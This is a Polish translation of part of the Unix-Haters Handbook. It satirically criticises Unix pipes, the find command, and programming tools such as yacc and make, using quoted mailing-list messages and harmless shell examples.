Rozważmy taki program tar. Podobnie jak wszystkie „narzędzia” Unixa działa w dziwne i unikalne sposoby. Na przykład tar jest programem z wielką pozytywną energią i jest wobec tego przekonany, że nic złego nigdy się nie może wydarzyć, a więc nigdy nie zwraca kodu błędu. Faktycznie, nawet jeśli wyrzuca komunikat błędu na ekranie, nadal raportuje „dobre wieści”, czyli status 0. Wypróbuj w skrypcie shellowym:

tar cf temp.tar no.such.fileif( $status == 0 ) echo "Good news! No error."

i dostaniesz to:

tar: no.such.file: No such file or directoryGood news! No error.

Wiem - nie powinienem się spodziewać czegokolwiek spójnego, użytecznego, udokumentowanego, szybkiego, ani nawet funkcjonalnego...

Bjorn

Pipes

Mam własne zdanie o Unixie. Około sześciu lat temu (kiedy otrzymałem moją pierwszą stację roboczą), spędziłem wiele czasu ucząc się Unixa. Byłem całkiem niezły. Na szczęście większość tych śmieci uleciała mi z pamięci. Niemniej jednak od czasu przyłączenia się do tej dyskusji wielu zwolenników Unixa przysłało mi przykłady „udowadniające” jak bardzo potężny jest Unix. Te przykłady były całkowicie wystarczające do odświeżenia mojej pamięci: wszystkie robiły coś trywialnego lub bezużytecznego, i wszystkie robiły to w bardzo tajemniczy sposób.

Jedna z tych osób stwierdziła że miała „objawienie” skryptu shellowego (który używał czterech komend i wyglądał jak szum linii) który przemianowywał wszystkie pliki ‘.pas’ tak, że kończyły się na ‘.p’. Rezerwuję swoje uniesienia religijne dla czegoś więcej niż przemianowywanie plików. I właśnie taka jest moja pamięć o narzędziach Unixa – spędzasz cały swój czas ucząc się robić złożone i specyficzne rzeczy, które w końcu wcale nie są imponujące. Zdecydowałem raczej zajmować się jakąś prawdziwą pracą.

—Jim GilesLos Alamos National Laboratory

Miłośnicy Unixa wierzą w czystość, prawość i piękno pipes. Wychwalają pipes jako mechanizm który bardziej niż jakakolwiek inna funkcja czyni Unixa Unixem. „Pipes”, miłośnicy Unixa intonują ciągle od nowa, „pozwalają na budowanie złożonych programów z prostszych programów. Pipes pozwalają na używanie programów w nieplanowany i nieprzewidziany sposób. Pipes umożliwiają proste implementacje.” Niestety, mantry nie czynią Unixa lepszym, podobnie jak wyznawców Hare Krishna.

108

Page 109: Unix Haters Handbook

Pipes mają pewne zalety. Konstrukcja złożonych systemów wymaga modularności i abstrakcji. Ta prawda jest katechizmem nauk komputerowych. Im lepsze narzędzia do składania większych systemów z mniejszych, tym bardziej zadowalający i łatwiejszy do utrzymania wynik. Pipes są narzędziem strukturyzującym i jako takie, mają wartość.

Oto przykład wykorzystania pipes:egrep '^To:|^Cc:' /var/spool/mail/$USER | \cut -c5- | \awk '{ for (i = 1; i <= NF; i++) print $i }' | \sed 's/,//g' | grep -v $USER | sort | uniq

Jasne, co? Skrypt zagląda do skrzynki pocztowej użytkownika i określa, na jakich listach mailowych się znajduje (cóż, najczęściej). Jak większość takich skryptów, ten też zawiedzie w tajemniczy sposób w określonych okolicznościach.

Rzeczywiście, podczas gdy pipes są czasami użyteczne, ich system komunikowania się pomiędzy programami – przesyłanie tekstu przez standardowe wejście i standardowe wyjście – limituje ich użyteczność. Po pierwsze, strumień informacji jest jednokierunkowy. Procesy nie mogą używać pipes do dwukierunkowej komunikacji. Po drugie, pipes nie pozwalają na żadną formę abstrakcji. Procesy wysyłania i odbierania muszą używać strumienia bajtów. Każdy obiekt bardziej złożony od bajtu nie może być wysłany dopóki nie zostanie przetworzony na ciąg bajtów który dla odbierającego końca będzie możliwy do ponownego złożenia. Oznacza to, że nie można wysłać obiektu i kodu dla definicji klasy potrzebnej do implementacji obiektu. Nie można wysłać wskaźników do przestrzeni adresowej innego procesu. Nie można wysłać dojść do plików albo połączeń tcp albo praw dostępu do określonych plików czy zasobów.

Powinniśmy tutaj zauważyć, że dyskusja o „pipes” ograniczona jest do tradycyjnych Unixowych pipes, które można utworzyć w shellu używając pionowej kreski (|). Nie rozmawiamy o named pipes, które są całkowicie innym wynalazkiem.

Ryzykując, że to zabrzmi jak beznadziejne marzycielstwo w przestrzeni międzygalaktycznej, zwracamy uwagę, że właściwym modelem jest wywołanie procedury (lokalnej lub zdalnej) w języku pozwalającym na struktury pierwszej klasy (które C uzyskał w trakcie swojego dojrzewania) i kompozycje funkcjonalne.

Pipes są dobre do prostych prowizorek, jak przesyłanie dookoła prostych strumieni tekstu, ale nie do budowania złożonego oprogramowania. Na przykład wczesny dokument o pipes pokazywał jak sprawdzanie pisowni może być zaimplementowane przez łączenie ze sobą poprzez pipes kilku prostych programów. To było tour de force prostoty, ale straszny sposób sprawdzania pisowni w dokumencie.

Pipes w skryptach shellowych są optymalizowane dla mikro-kombinacji. Dają możliwość programistom do tworzenia prowizorycznych szybkich rozwiązań, które są bardzo kruche. Jest tak ponieważ pipes tworzą zależności pomiędzy dwoma programami: nie możesz zmienić formatu wyjścia jednego bez zmiany procedur wejścia w drugim.

Większość programów ewoluuje: najpierw wymyślane są specyfikacje programu, następnie wnętrzności programu są sczepiane ze sobą, a na końcu ktoś pisze procedury wyjścia programu. Pipes zatrzymują ten proces: jeśli tylko ktoś zacznie wrzucać niedokończony program Unixowy w pipes, jego specyfikacja wyjścia jest zamrożona, nieważne jak dwuznaczna, niestandardowa lub nieefektywna by była.

Pipes nie są początkiem i końcem komunikacji programów. Nasza ulubiona książka miłośników Unixa pisze o Macintoshu, który nie ma pipes:

Model Macintosha, z drugiej strony, jest dokładnie odwrotny. System nie obsługuje ciągów znaków. Pliki danych mają niezwykle wysoki poziom złożoności, zwykle zakładając że są specyficzne dla aplikacji. Kiedy ostatni raz użyłeś pipe aby

109

Page 110: Unix Haters Handbook

połączyć wyjście jednego programu z innym na Macu? (Życzę szczęścia ze znalezieniem symbolu pipe). Programy są monolityczne, lepiej dobrze zrozumieć co się robi. Nie możesz wziąć MacFoo i MacBar i ich razem połączyć.

- z Life with Unix, autorstwa Libes i ResslerTak, biedni użytkownicy Maców. To co mają jest takie surowe. Ponieważ nie mogą

przesłać strumienia bajtów w jaki sposób w ogóle mogą wkleić rysunek z programu graficznego do ich najnowszej notatki i otoczyć go tekstem? Jak mogą przenieść arkusz kalkulacyjny do takiej notatki? I jak mogą oczekiwać że zmiany będą automatycznie śledzone? Na pewno nie powinni się spodziewać że wyślą pocztą elektroniczną taką notatkę przez kraj i na drugim końcu zostanie ona bezproblemowo odczytana i edytowana, a następnie odesłana z powrotem w całości. Nie możemy sobie wyobrazić jak są w stanie używać wszystkich tych programów od 10 lat, które działają w ogóle bez pipes.

Kiedy po raz ostatni twoja stacja Unixowa była tak użyteczna jak Macintosh? Kiedy po raz ostatni używałeś programów z różnych firm (albo chociaż różnych oddziałów tej samej firmy), które naprawdę mogły się komunikować ze sobą? Jeśli w ogóle coś takiego miało miejsce, to dlatego że niektórzy sprzedawcy oprogramowania dla Macintosha pocili się portując swoje programy na Unixa i próbowali zrobić Unixa wyglądającego bardziej jak Mac.

Podstawową różnicą pomiędzy Unixem a MacOS-em jest taka że Unix został zaprojektowany żeby zadowolić programistów, podczas gdy MacOS został zaprojektowany żeby zadowolić użytkowników. (Windows został zaprojektowany żeby zadowolić księgowych, ale to inna historia.)

Badania pokazały że pipes i redyrekcje są trudne do użycia, nie z powodu problemów koncepcyjnych, ale z powodu arbitralnych i nieintuicyjnych ograniczeń. Jest udokumentowane że tylko ci którzy pogrążyli się w domenie Unixa, nie nowi użytkownicy, mogą docenić i używać mocy pipes.

Date: Thu, 31 Jan 91 14:29:42 ESTFrom: Jim Davis <[email protected]>To: UNIX-HATERSSubject: Expertise

Dzisiaj rano czytałem artykuł w Journal of Human-Computer Interaction, „Ekspertyza komputerowego systemu operacyjnego”, autorstwa Stephanie M. Doane i dwóch innych. Zgadnijcie o jakim systemie operacyjnym mowa? Doane badała wiedzę i wydajność Unixowych nowicjuszy, średnio zaawansowanych, i ekspertów. Oto kilka cytatów:

„Tylko eksperci potrafią skutecznie stworzyć złożone komendy wymagające użycia charakterystycznych funkcji Unixa (np. pipes i innych symboli redyrekcji).”

Innymi słowy, każda funkcja która jest nowa w Unixie (w przeciwieństwie do bycia skopiowaną, chociaż w wadliwej lub zdegenerowanej formie z innego systemu operacyjnego) jest tak tajemnicza, że może być używana tylko po latach tajemnych studiów i ćwiczeń.

„To odkrycie jest cokolwiek zaskakujące, jako że są to fundamentalne funkcje projektowe Unixa, i o funkcjach tych uczy się na podstawowych lekcjach.”

110

Page 111: Unix Haters Handbook

Odwołuje się także do pracy S.W.Drapera, który powiedział:

„Nie ma Unixowych ekspertów, w naiwnym sensie grupy ludzi których wiedza jest wyczerpująca i nie muszą się więcej uczyć.”Tutaj muszę się nie zgodzić. Jest jasne że próba opanowania absurdów Unixa

wyczerpie każdego.

Niektóre programy mają swoje sposoby na upewnienie się że pipes i inne redyrekcje zachowują się w różny sposób:

From: Leigh L. Klotz <[email protected]>To: UNIX-HATERSSubject: | vs. <Date: Thu, 8 Oct 1992 11:37:14 PDT

collard% xtpanel -file xtpanel.out < .loginunmatched bracesunmatched bracesunmatched braces3 unmatched right braces presentcollard% cat .login | xtpanel -filextpanel.outcollard%

Oceńcie sami.

Find

Najbardziej przerażającą rzeczą w Unixie jest to że nieważne jak wiele razy uderzysz w niego głową, nigdy nie stracisz przytomności. Po prostu ciągle robisz to samo.

—Patrick Sobalvarro

Zgubienie pliku w dużym hierarchicznym systemie plików często się zdarza. Problem ten teraz uderza w użytkowników PC i Apple z pojawieniem się dużych, tanich dysków. Aby rozwiązać ten problem, systemy komputerowe zapewniają programy do znajdywania plików które pasują do danych kryteriów, mają określoną nazwę, typ, albo zostały utworzone w określonym czasie. Apple Macintosh i Microsoft Windows mają potężne lokalizatory plików które są relatywnie łatwe w użyciu i bardzo niezawodne. Te szukacze plików zostały zaprojektowane z myślą o użytkowniku i nowoczesnej sieci. Unixowy szukacz plików, find, nie został zaprojektowany do pracy z ludźmi, ale z cpio – Unixowym programem do backupu. Find nie mógł przewidzieć sieci ani rozszerzeń systemu plików, takich jak linki symboliczne, i nawet po znaczących modyfikacjach nie działa dobrze z nimi. W rezultacie pomimo ważności dla ludzi którzy zgubili swoje pliki, find nie działa niezawodnie albo przewidywalnie.

Autorzy Unixa próbowali utrzymać find [up to date] z resztą Unixa, ale to trudne zadanie. Dzisiejszy find ma specjalne flagi dla systemu plików NFS, linków symbolicznych, wykonuje programy, warunkowo wykonuje programy jeśli użytkownik wciśnie „y”, a nawet bezpośrednio archiwizuje znalezione pliki w formacie cpio albo cpio-c. Sun Microsystems

111

Page 112: Unix Haters Handbook

zmodyfikował find tak że jest to demon działający w tle budujący bazę danych wszystkich plików w całym systemie plików Unixa, która z jakiegoś dziwnego powodu jest przeszukiwana przez komendę find jeśli napiszesz „find nazwa_pliku” bez żadnych innych argumentów. (Pomyśl o złamaniu bezpieczeństwa!) Pomimo wszystkich tych kombinacji, find nadal nie działa poprawnie.

Na przykład csh idzie za linkami symbolicznymi, ale find nie: csh zostało napisane w Berkeley (gdzie zaimplementowano linki symboliczne), ale find jest starszy i pochodzi z czasów AT&T, przed linkami symbolicznymi. Czasami zderzenie kulturowe między Wschodem i Zachodem powoduje masową konfuzję.

Date: Thu, 28 Jun 1990 18:14 EDTFrom: [email protected]: more things to hate about UnixTo: UNIX-HATERS

To jedna z moich ulubionych rzeczy. Jestem w jakimś katalogu i chcę przeszukać inny katalog używając finda. Piszę:

po> pwd/ath/u1/pgspo> find ~halstead -name "*.trace" -printpo>

Nie ma plików. Ale teraz:

po> cd ~halsteadpo> find . -name "*.trace" -print./learnX/fib-3.trace./learnX/p20xp20.trace./learnX/fib-3i.trace./learnX/fib-5.trace./learnX/p10xp10.tracepo>

Hej, teraz pliki się znalazły! Trzeba tylko pamiętać żeby wchodzić do losowo wybranych katalogów żeby find mógł je znaleźć. Co za Unixowy gruchot.

Biedny Halstead musi mieć wpis dla swojego katalogu domowego w /etc/passwd wskazujący na jakiś link symboliczny który wskazuje na jego prawdziwy katalog, tak więc niektóre komendy działają a niektóre nie.

Dlaczego nie zmodyfikować finda żeby wchodził w linki symboliczne? Ponieważ wtedy każdy link symboliczny wskazujący na katalog wyżej w drzewie spowoduje wrzucenie finda w nieskończoną pętlę. Wymagałoby ostrożnego przemyślenia i prawdziwego programowania aby zaprojektować system który nie przeszukiwałby w nieskończoność tego samego katalogu. Proste Unixowe rozwiązanie to nie wchodzić w linki symboliczne i zmuszać użytkowników do radzenia sobie z rezultatami.

W miarę jak systemy sieciowe stają się coraz bardziej skomplikowane, te problemy są coraz trudniejsze.

Date: Wed, 2 Jan 1991 16:14:27 PSTFrom: Ken Harrenstien <[email protected]>Subject: Why find doesn’t find anythingTo: UNIX-HATERS

112

Page 113: Unix Haters Handbook

Właśnie zrozumiałem dlaczego program „find” przestał działać. Nawet pomimo że składnia jest raczej ciężka i toporna, liczyłem na nią przez długi czas aby uniknąć spędzania godzin na bezowocnym włóczeniu się po bizantyjskich hierarchiach katalogów w poszukiwaniu żródła programu o którym wiem że gdzieś tam jest (w różnych miejscach na każdej maszynie, oczywiście).

Wygląda na to, że w tym nowym wspaniałym świecie NFS-u i linków symbolicznych „find” stał się bezwartościowy. Tak zwany system plików jaki mamy to wielka kupa spagetti łączących kilka różnych serwerów plików z wielką ilością linków symbolicznych tu i tam, którymi find się nie przejmuje. Jest nawet przełącznik do zmuszenia go – efektem są olbrzymie kawałki przestrzeni po cichu wyłączone z przeszukiwania. W końcu stwierdziłem to kiedy moje żądanie wyszukania całkiem sporego katalogu nie dało żadnego efektu (nic szczególnie niezwykłego, ale stało się to za szybko) i dochodzenie wykazało w końcu że katalog był linkiem symbolicznym do jakiegoś innego miejsca.

Nie chcę sprawdzać każdego katalogu w drzewie jakie daję findowi – do cholery, to powinna być robota finda. Nie chcę grzebać się w programach systemowych za każdym razem kiedy taka dysfunkcja wychodzi na jaw. Nie chcę tracić czasu na walkę z Sunem albo całym wszechświatem Unixowego idiotyzmu. Nie chcę używać Unixa. Nienawidzę, nienawidzę, nienawidzę, nienawidzę, nienawidzę, nienawidzę, nienawidzę, nienawidzę.

—Ken (czujący się trochę lepiej ale nadal wkurzony)

Pisanie skomplikowanego skryptu shellowego, który coś robi z plikami które znalazł produkuje dziwne rezultaty – smutny skutek metody przekazywania argumentów do komend przez shell.

Date: Sat, 12 Dec 92 01:15:52 PSTFrom: Jamie Zawinski <[email protected]>Subject: Q: what’s the opposite of ‘find?’ A: ‘lose.’To: UNIX-HATERS

Chciałem znaleźć wszystkie pliki .el w drzewie katalogów, które nie mają odpowiadającego pliku .elc. To powinno być łatwe. Spróbowałem użyć finda.

Najpierw próbowałem:

% find . -name ’*.el’ -exec ’test -f {}c’find: incomplete statement

No tak, pamiętam, to chce średnika.

% find . -name ’*.el’ -exec ’test -f {}c’ \;find: Can’t execute test -f {}c:No such file or directory

O, pięknie. Nie tokenizuje tej komendy, a większość innych rzeczy tak.

% find . -name ’*.el’ -exec test -f {}c \;

Cóż, to nic nie robi… % find . -name ’*.el’ -exec echo test -f {}c \;test -f c

113

Page 114: Unix Haters Handbook

test -f ctest -f ctest -f c...

Świetnie. Shell myśli że nawiasy klamrowe są jednorazowego użytku.

% find . -name ’*.el’ -exec echo test -f ’{}’c \;test -f {}ctest -f {}ctest -f {}ctest -f {}c...

Hmm? Może ja coś źle pamiętam i {} nie jest magicznym tokenem „podstaw tą nazwę pliku” którego używa find. Albo może…

% find . -name ’*.el’ \-exec echo test -f ’{}’ c \;test -f ./bytecomp/bytecomp-runtime.el ctest -f ./bytecomp/disass.el ctest -f ./bytecomp/bytecomp.el ctest -f ./bytecomp/byte-optimize.el c...

Świetnie. Co znowu. Zobaczmy, mogę użyć „sed...”W tym momencie powinienem był pamiętać głęboką prawdę:„Niektórzy ludzie, skonfrontowani z problemem w Unixie, myślą: ‘Wiem,

użyję seda.’ Teraz już mają dwa problemy.”Pięć prób i dwa przeszukania manualu seda później, zrobiłem coś takiego:

% echo foo.el | sed ’s/$/c/’foo.elc

a później:

% find . -name ’*.el’ \-exec echo test -f `echo ’{}’ \| sed ’s/$/c/’` \;test -f ctest -f ctest -f c...

OK, spróbujmy innych permutacji zaznaczania w shellu aż znajdziemy ten, który działa.

% find . -name ’*.el’-exec echo test -f "`echo ’{}’ |\sed ’s/$/c/’`" \;Variable syntax.

% find . -name ’*.el’ \-exec echo test -f ’`echo "{}" |\sed "s/$/c/"`’ \;test -f `echo "{}" | sed "s/$/c/"`test -f `echo "{}" | sed "s/$/c/"`test -f `echo "{}" | sed "s/$/c/"`

114

Page 115: Unix Haters Handbook

...

Hej, ten ostatni był całkiem blisko. Teraz muszę tylko…

% find . -name ’*.el’ \-exec echo test -f ’`echo {} | \sed "s/$/c/"`’ \;test -f `echo {} | sed "s/$/c/"`test -f `echo {} | sed "s/$/c/"`test -f `echo {} | sed "s/$/c/"`...

Zaraz, o to właśnie mi chodziło, ale dlaczego nie podstawia nazw plików pod {}??? Patrz, dookoła są spacje, czego chcesz, krwi kozy przelanej w pełnię księżyca?

Chwilę. Ta zaznaczona ` część to jeden token.Może mógłbym to filtrować przez seda. Nie.Tak więc spędziłem pół minuty próbując zrobić coś wykorzystującego „-exec

sh –c ...”, aż wreszcie zobaczyłem światło i napisałem kawałek kodu emacs-lisp żeby to zrobić. To było łatwe. To było szybkie. To działało.

Byłem szczęśliwy. Myślałem że już po wszystkim.Ale dzisiaj rano podczas porannego prysznica myślałem o tym jak to zrobić.

Nie mogłem przestać. Próbowałem i próbowałem, ale perwersyjność zadania wciągnęła mnie, żerując na mojej niezdrowej fascynacji. Ma tą samą atrakcyjność którą miała implementacja Scribe dla Towers of Hanoi. Udało mi się to zrobić już za 12 razem. Tworzy tylko dwa procesy na plik w drzewie katalogów w którym działa. Oto Droga Unixa!

% find . -name ’*.el’ -print \| sed ’s/^/FOO=/’|\sed ’s/$/; if [ ! -f \ ${FOO}c ]; then \echo \ $FOO ; fi/’ | sh

BWAAAAAHH HAAAAHH HAAAAHH HAAAAHH HAAAAHH HAAAAHH HAAAAHH HAAAAHH HAAAAHH!!!!

—Jamie

115

Page 116: Unix Haters Handbook

Rozdział 9: Programowanie

Stój spokojnie, to nie będzie bolało.

„Nie wtrącaj się do spraw Unixa, albowiem jest on subtelny i szybki do zrzucenia core.”

- Anonim

Jeżeli uczyłeś się programowania pisząc w C na maszynie Unixowej, ten rozdział może ci się wydawać na początku nieco dziwny. Smutnym faktem jest, że Unix kompletnie zdobył światowy komputerowy system edukacyjny tak że niewielu dzisiejszych studentów zdaje sobie sprawę że błędy Unixa nie są, tak naprawdę, decyzjami projektowymi.

Na przykład, jeden miłośnik Unixa popełnił poniższe oświadczenie broniąc Unixa i C przed naszymi twierdzeniami, że są o wiele bardziej potężne języki od C i te języki mają dużo potężniejsze i bardziej produktywne środowiska programistyczne niż zapewnia to Unix:

Date: 1991 Nov 9From: [email protected] (Thomas M. Breuel)

To prawda że języki takie jak Scheme, Smalltalk, Common Lisp mają potężne środowiska programistyczne.

Jednakże kernel Unixa, shell, i język C razem wzięte zwracają uwagę na pewne problemy w dużej skali które nie są dobrze obsługiwane (a zwykle nawet nie zwraca się na nie uwagi) w tych językach i środowiskach. Przykłady takich problemów to niektóre aspekty zarządzania pamięcią i [locality] (przez tworzenie procesów i wyjście), trwałość (używanie plików jako struktur danych), równoległość (przy użyciu pipes, procesów i IPC), ochrona i odzyskiwanie (przez osobne przestrzenie adresowe) i edytowalne przez człowieka reprezentacje danych (tekst). Z praktycznego punktu widzenia, są one obsługiwane całkiem dobrze w środowisku Unixa.

Thomas Breuel przypisuje Unixowi podejście do rozwiązywania skomplikowanych problemów w naukach komputerowych. Na szczęście, nie jest to podejście które inne nauki stosują do rozwiązywania problemów stawianych przez ludzi.

Date: Tue, 12 Nov 91 11:36:04 -0500From: [email protected]: UNIX-HATERSSubject: Random Unix similes

Traktowanie zarządzania pamięcią poprzez tworzenie procesów i ich kończenie jest jak medycyna traktująca choroby poprzez życie i umieranie – to jest ignorowanie problemu.

Posiadanie plików Unixa (worków bajtów) jako jedynego interfejsu do trwałości jest jak wrzucanie wszystkiego co masz do swojej szafy z nadzieją, że znajdziesz coś kiedy będziesz tego potrzebował (co, niestety, właśnie robię).

Równoległość poprzez pipes, procesy i IPC? [Overhead] procesów w Unixie jest tak duży, że to nie jest źródło znaczącej równoległości. To jak pracodawca

116

Page 117: Unix Haters Handbook

rozwiązujący brak personelu poprzez nakazanie pracownikom, żeby mieli więcej dzieci.

Tak, Unix na pewno może obsługiwać tekst. Może też obsługiwać tekst. O, przy okazji, czy wspomniałem że Unix dobrze obsługuje tekst?

- Mark

Cudowne środowisko programistyczne Unixa

Fanatycy Unixa stworzyli większość Unixowego „środowiska programistycznego”. Twierdzą że Unix ma bogaty zestaw narzędzi ułatwiających programowanie. Oto co Kernighan i Mashey powiedzieli o tym w ich artykule, „The Unix Programming Environment”:

Jednym z najbardziej produktywnych aspektów środowiska Unixa jest istnienie bogatego zestawu małych, ogólnie użytecznych programów – narzędzi do pomocy w codziennych zadaniach programistycznych. Programy pokazane poniżej należą do najbardziej użytecznych. Użyjemy ich do ilustrowania innych kwestii w dalszych sekcjach artykułu.

wc pliki Liczy linie, słowa i litery w plikach.pr pliki Drukuje pliki z nagłówkami, wieloma kolumnami itp.lpr pliki Wysyła pliki na drukarkę liniowągrep wzór plik Drukuje wszystkie linie zawierające wzór.

Większość pracy każdego programisty po prostu polega na używaniu tych i podobnych programów. Na przykład,

wc *.c

liczy pliki C;

grep goto *.c

znajduje wszystkie instrukcje GOTO.

To mają być te „należące do najbardziej użytecznych”?!?!Tak. Na tym polega większość pracy programisty. Faktycznie, dzisiaj spędziłem tak

dużo czasu na liczeniu moich plików C że nie mam czasu żeby zrobić cokolwiek innego. Chyba policzę je jeszcze raz.

Inny artykuł w tym samym numerze IEEE Computer to „The Interlisp Programming Environment” autorstwa Warrena Teitelmana i Larry’ego Masintera. Interlisp jest bardzo zaawansowanym środowiskiem programistycznym. W 1981 Interlisp miał narzędzie o których programiści Unixowi mogą sobie w 1994 co najwyżej pomarzyć.

Projektanci środowiska Interlisp mieli zupełnie inne podejście. Zdecydowali się wyprodukować duże złożone narzędzia, które wymagają długiego czasu nauki posługiwania się nimi. Zyskiem z zainwestowanego w tą naukę czasu jest to, że programista który nauczy się nimi posługiwać będzie bardziej produktywny. To wygląda sensownie.

Smutne, że niewielu programistów dzisiejszych maszyn wie jak to jest używać takiego środowiska, w całej jego chwale.

117

Page 118: Unix Haters Handbook

Programowanie w jaskini Platona

Mam wrażenie, że celem [projektowania języków programowania i rozwoju narzędzi] jest podnieść każdego na najwyższy poziom produktywności, nie najniższy albo średni.

- Z wiadomości na grupie comp.lang.c++

To nie jest prawda w innych przemysłach które stały się mocno zautomatyzowane. Kiedy ludzie idą do nowoczesnej, automatycznej restauracji fastfood, oczekują spójności, nie haute cuisine. Spójna przeciętność, rozprowadzana na dużą skalę, jest dużo bardziej pożyteczna niż cokolwiek na małą skalę, nieważne, jak mogłoby być efektywne.

- Odpowiedź na powyższą wiadomość odczłonka personelu technicznego pewnej firmy.

Unix nie jest najlepszym na świecie środowiskiem programistycznym – nie jest nawet dobrym. Narzędzia programistyczne Unixa są marne i trudne do użycia; większość debuggerów na PC powoduje wstyd u większości debuggerów Unixowych; interpretery pozostają zabawką dla bardzo bogatych; dzienniki zmian i ślady audytu są zapisywane według zachcianki osoby poddawanej audytowi. A jednak w jakiś sposób Unix utrzymuje swoją reputację marzenia programisty. Może pozwala programistom marzyć o byciu produktywnym zamiast pozwalać im być produktywnym.

Programiści Unixowi są jak matematycy. Ten dziwny fenomen nazywamy „programowaniem przez implikację”. Kiedyś rozmawialiśmy z programistą Unixowym o tym jak miło byłoby mieć program użytkowy który mógłby przebadać program i odpowiedzieć na pytania takie jak: „Jakie funkcje wywołują funkcję foo?” albo „Które funkcje modyfikują zmienną globalną bar?” Zgodził się z tym a następnie zauważył: „Ty mógłbyś napisać taki program.”

Trzeba uczciwie przyznać, że powodem dla którego stwierdził „Ty mógłbyś napisać taki program” zamiast napisać taki program są pewne właściwości języka C i Unixowego „środowiska programistycznego”, które działając razem powodują, że napisanie takiego programu byłoby bólem ogromnych rozmiarów.

Może myślisz, że przesadzamy i taki program dałoby się łatwo zaimplementować poprzez napisanie wielu małych programów użytkowych i łączenie ich przy pomocy pipes razem, ale nie przesadzamy i nie da się.

Przetwarzanie przez yacc

„Yacc” – tak się czułem po tym jak się nauczyłem jak używać yacc(1).

- Anonim

„YACC” oznacza Yet Another Compiler Compiler (Jeszcze jeden kompilator kompilatorów). Bierze wolną od kontekstu gramatykę opisującą język który ma być przetworzony i oblicza maszynę stanu dla uniwersalnego [pushdown] automatu. Kiedy maszyna stanu działa, dostaje się parser dla danego języka. Ta teoria jest dobrze zrozumiała ponieważ jednym z większych problemów badawczych w dawnych czasach nauk komputerowych była redukcja czasu jaki zajmowało napisanie kompilatora.

Ten schemat ma jeden mały problem: większość języków programowania nie jest wolnych od kontekstu. Stąd też używający yacc musi określić fragmenty kodu jakie mają być

118

Page 119: Unix Haters Handbook

uruchomione w określonym stanie, aby obsłużyć przypadki w których wolna od kontekstu gramatyka zawodzi. Większość dzisiejszych kompilatorów C ma parser wygenerowany przez yacc; gramatyka yacc dla GCC 2.1 (poza tym świetny kompilator napisany przez Free Software Foundation) ma około 1650 linii długości. Wyjście kodu z yacc i kod dla uniwersalnego [pushdown] automatu który wykonuje wyjście z yacc są dużo dłuższe.

Niektóre języki programowania są łatwiejsze do przetworzenia. Lisp, na przykład, może być przetworzony przez „rekursywnie schodzący” parser. „Rekursywnie schodzący” to komputerowy żargon dla „wystarczająco prosty żeby pisać na litrze Coca-Coli”. Jako eksperyment napisaliśmy rekursywnie schodzący parser dla Lispa. Zajął około 250 linii C. Gdyby był napisany w Lispie, nie zająłby nawet strony.

Dawne czasy wspomniane powyżej to te, w których autorzy tej książki się urodzili. Dinozaury rządziły pokojem maszyn i Prawdziwi Mężczyźni programowali poprzez przełączniki na przednim panelu. Dzisiaj, socjolodzy i historycy nie są w stanie określić, dlaczego wyglądający na rozsądnych programiści tamtych czasów zaprojektowali, zaimplementowali i rozsiali języki trudne do przetwarzania. Być może potrzebowali otwartych tematów do badań i napisanie parsera dla takich trudnych do przetworzenia języków wyglądało na dobry problem.

Takie działania powodują zdziwienie, jakie narkotyki brali w dawnych czasach.Program przetwarzający programy C i sprawdzający, jakie funkcje wywołują inne

funkcje i gdzie zmienne globalne są czytane i modyfikowane, jest odpowiednikiem [front-endu] kompilatora C. Są to złożone artefakty; złożoność języka C i trudność używania narzędzi takich jak yacc powoduje że takie są. Nie ma się co dziwić, że nikt się nie spieszy pisać takie programy.

Zawzięci Unixowcy powiedzą że nie potrzebujesz takiego programu ponieważ grep jest świetnym rozwiązaniem. Na dodatek możesz użyć grep w shellowych pipes. Cóż, któregoś dnia szukaliśmy wszystkich użyć funkcji min w pewnym kodzie kernela BSD. Oto przykład co otrzymaliśmy:

% grep min netinet/ip_icmp.cicmplen = oiplen + min(8, oip->ip_len);* that not corrupted and of at least minimum length.* If the incoming packet was addressed directly to us,* to the incoming interface.* Retrieve any source routing from the incoming packet;%

Tak, grep znalazł wszystkie wystąpienia min i jeszcze trochę więcej.

“Don’t know how to make love. Stop.”

Idealne narzędzie programisty powinno być szybkie i łatwe w użyciu do zwykłych zadań, i w tym samym czasie wystarczająco potężne żeby obsłużyć zadania większe niż te, do których zostało przeznaczone. Niestety, w ich zapale do ogólników, wiele narzędzi Unixa zapomina o tej szybkiej i łatwej części.

Make jest jednym z takich narzędzi. W abstrakcyjnych terminach, wejściem dla make jest opis grafu zależności. Każdy węzeł grafu zależności zawiera zestaw komend do wykonania kiedy ten węzeł jest starszy niż węzły od niego zależne. Węzły odpowiadają plikom, daty plików określają czy pliki są starsze od siebie. Mały graf zależności, albo Makefile, jest pokazany poniżej:

program: source1.o source2.occ -o program source1.o source2.o

119

Page 120: Unix Haters Handbook

source1.o: source1.ccc -c source1.c

source2.o: source2.ccc -c source2.c

W tym grafie, węzłami są program, source1.o, source2.o, source1.c I source2.c. Węzeł program zależy od węzłów source1.o i source2.o. Oto graficzna reprezentacja tego samego makefile:

program

source1.o source2.o

source1.c source1.c

Jeżeli source1.o albo source2.o są nowsze niż program, make zregeneruje program poprzez wykonanie komendy cc -o program source1.o source2.o. I oczywiście jeżeli source1.c był modyfikowany, zarówno source1.o i program będą starsze, wymagające rekompilacji i przelinkowania.

Podczas gdy model make jest całkiem ogólny, projektanci zapomnieli zrobić go łatwym do użytku do zwykłych zadań. Faktycznie, bardzo niewielu nowicjuszy-programistów Unixowych wie jak krańcowo łatwo jest wpaść na ścianę make.

Kontynuujmy nasz przykład i powiedzmy że programista, nazwijmy do Dennis, próbuje znaleźć błąd w source1.c i tym samym chce skompilować ten plik z zawartymi informacjami debuggingu. Zmodyfikował Makefile które wygląda teraz tak:

program: source1.o source2.occ -o program source1.o source2.o

# I'm debugging source1.c -Dennissource1.o: source1.c

cc -c -g source1.c

source2.o: source2.ccc -c source2.c

Linia zaczynająca się od “#” to komentarz. Program make ignoruje je. Cóż, kiedy biedny Dennis uruchomi make, program będzie narzekał:

Make: Makefile: Must be a separator on line 4.Stop

Na tym make zakończy działalność. Patrzy na swój Makefile kilka minut, potem kilka godzin, ale nie wie co jest niedobrze. Myśli że coś może być niedobrze z komentarzem, ale nie jest pewien.

Problem z Makefile Dennisa jest taki, że kiedy dodał komentarz, przez nieuwagę wprowadził spację przed znak tabulacji na początku linii 2. Znak tabulacji jest bardzo ważną częścią składni Makefile. Wszystkie linie komend (linie zaczynające się od cc w naszym przykładzie) muszą zaczynać się od tabulatora. Po wprowadzeniu swoich zmian linia 2 się nie zaczyna od tabulatora, stąd ten błąd.

